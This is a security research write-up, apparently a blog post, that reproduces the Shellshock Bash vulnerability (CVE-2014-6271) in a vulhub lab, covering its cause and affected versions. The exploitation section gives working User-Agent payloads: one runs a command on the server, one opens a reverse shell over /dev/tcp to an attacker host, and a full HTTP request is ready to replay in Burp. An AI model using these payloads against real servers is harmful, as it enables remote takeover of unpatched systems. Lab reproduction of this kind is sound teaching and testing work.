[Research] Shellshock Bash Command Execution Vulnerability (CVE-2014-6271)
A reproduction and analysis of the Shellshock vulnerability (CVE-2014-6271), covering the environment, underlying cause, affected versions, and exploitation process.
Read in Chinese→[Research] Shellshock Vulnerability (CVE-2014-6271)
1. Environment
Environment
https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
Setting up this environment is quick and convenient. See the instructions for details; it is very simple.
2. How It Works
Bash currently invokes environment variables by function name. The vulnerability occurs when an environment variable defined with a prefix of “(){” is parsed as a function in the ENV command. Bash does not stop executing afterward, but instead continues to parse and execute shell commands. The root cause is that input filtering does not strictly enforce boundaries or properly validate parameters.
3. Affected Versions
GNU Bash <= 4.3
4. Exploitation Process
There are two pages: http://10.77.0.130:8080/victim.cgi and http://10.77.0.130:8080/safe.cgi. safe.cgi is generated using the latest version of Bash, while victim.cgi is generated using Bash 4.3.
Procedure:
Visit http://10.77.0.130:8080/victim.cgi，通过, intercept the request with Burp, and modify the UA field in the HTTP request headers:
Command Execution``` User-Agent: () { :;};echo ; echo; echo $(/bin/ls -al /); #列出bin目录下所有文件
Reverse shell to port 8888 on the target IP:
User-Agent: \(\) \{ :; \}; /bin/bash \-i >\& /dev/tcp/ip/8888 0>\&1;
The complete request packet is shown below \(it can be copied directly into Burp for replay\):
GET /victim.cgi HTTP/1.1
Host: 10.77.0.130:8080
User-Agent: \(\) \{ :; \}; /bin/bash \-i >\& /dev/tcp/10.77.0.58/666 0>\&1;
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,_/_;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
